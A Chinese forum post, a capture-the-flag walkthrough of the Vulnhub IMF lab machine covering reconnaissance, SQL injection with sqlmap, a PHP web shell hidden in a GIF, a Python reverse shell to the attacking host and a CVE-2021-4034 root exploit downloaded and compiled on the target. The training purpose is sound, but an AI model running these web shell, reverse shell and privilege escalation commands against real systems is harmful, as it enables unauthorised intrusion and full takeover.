马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
本篇文章旨在为网络安全渗出测试靶机讲授。通过阅读本文,读者将可以大概对渗出Vulnhub系列IMF靶机有肯定的相识
一、信息网络阶段
靶机下载地点:https://www.vulnhub.com/entry/imf-1,162/
由于靶机为本地摆设捏造机网段,检察dhcp地点池设置。得到信息IP为:192.168.220.0/24
1、扫描网段,发现主机
- nmap -sP 192.168.220.0/24
- # 快速验证网段存活主机
复制代码
2、扫描主机详细信息
- nmap -sT -sV -sC 192.168.220.133
- #-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
- #-sV 尝试确定每个打开端口上运行的服务的版本
- #-sC 使用默认的脚本扫描(Script Scanning)可以帮助发现更多的信息,如漏洞、配置错误等
复制代码
3、扫描80端口web目次
- dirb http://192.168.220.133
复制代码
4、欣赏网站
- http://192.168.220.133/
- username:rmichaels akeith estone
- ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ #base64解码
- flag2{aW1mYWRtaW5pc3RyYXRvcg==} #解码结果
- aW1mYWRtaW5pc3RyYXRvcg== #再把flag2进行base64解码
- imfadministrator #解码结果
- http://192.168.220.133/imfadministrator/
-
复制代码
5、登录配景
- http://192.168.220.133/imfadministrator/
- 
复制代码
二、渗出阶段
1、burpsuite爆破配景
- http://192.168.220.133/imfadministrator/
复制代码
2、php未验证输入绕过
- flag3{Y29udGludWVUT2Ntcw==} #base64解码
- continueTOcms #解码结果
复制代码
3、登录管理配景
- username:rmichaels
- passwd:continueTOcms
复制代码
4、sqlmap爆破
- sqlmap -u 'http://192.168.220.133/imfadministrator/
- cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3 --cookie 'PHPSESSID=j540ks96b3fb6ksde74tcecec2' --dump
复制代码
5、访问uploadr942.php
- http://192.168.220.133/imfadministrator/
- uploadr942.php
复制代码
6、上传一个图片马
- echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif
- 192.168.220.133/imfadministrator/uploads/a5d38eb4e70b .gif
复制代码
- http://192.168.220.133/imfadministrator/
- uploads/9065f683031f.gif?cmd=id
复制代码
7、检察文件
- http://192.168.220.133/imfadministrator/
- uploads/9065f683031f.gif?cmd=lshttp://192.168.220.133/imfadministrator/
- uploads/9065f683031f.gif?cmd=cat%20flag5_abc123def.txtYWdlbnRzZXJ2aWNlcw== #base64解码agentservices #解码结果
复制代码
8、使用python反弹shell
- #攻击机
- nc -lvnp 6666
- #靶机
- export RHOST="192.168.220.128";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
复制代码
三、提权阶段
1、信息网络
2、下载exp
- git clone https://github.com/arthepsy/CVE-2021-4034.git
复制代码
3、python开启http微服务
- python -m http.server 8088
复制代码
4、靶机下载poc文件
- wget 192.168.220.128:8088/cve-2021-4034-poc.c
- gcc -o exp cve-2021-4034-poc.c
- ./exp
- 
复制代码
四、总结
起首通过信息网络(如端口扫描、目次摆列的源码审计)发现匿伏信息泄漏,接着使用SQL注入获取关键上传php信息,然后通过文件上传、下令注如(python3反弹shell),毗连靶机,末了通过CVE-2021-4034毛病获取root权限完成渗出
|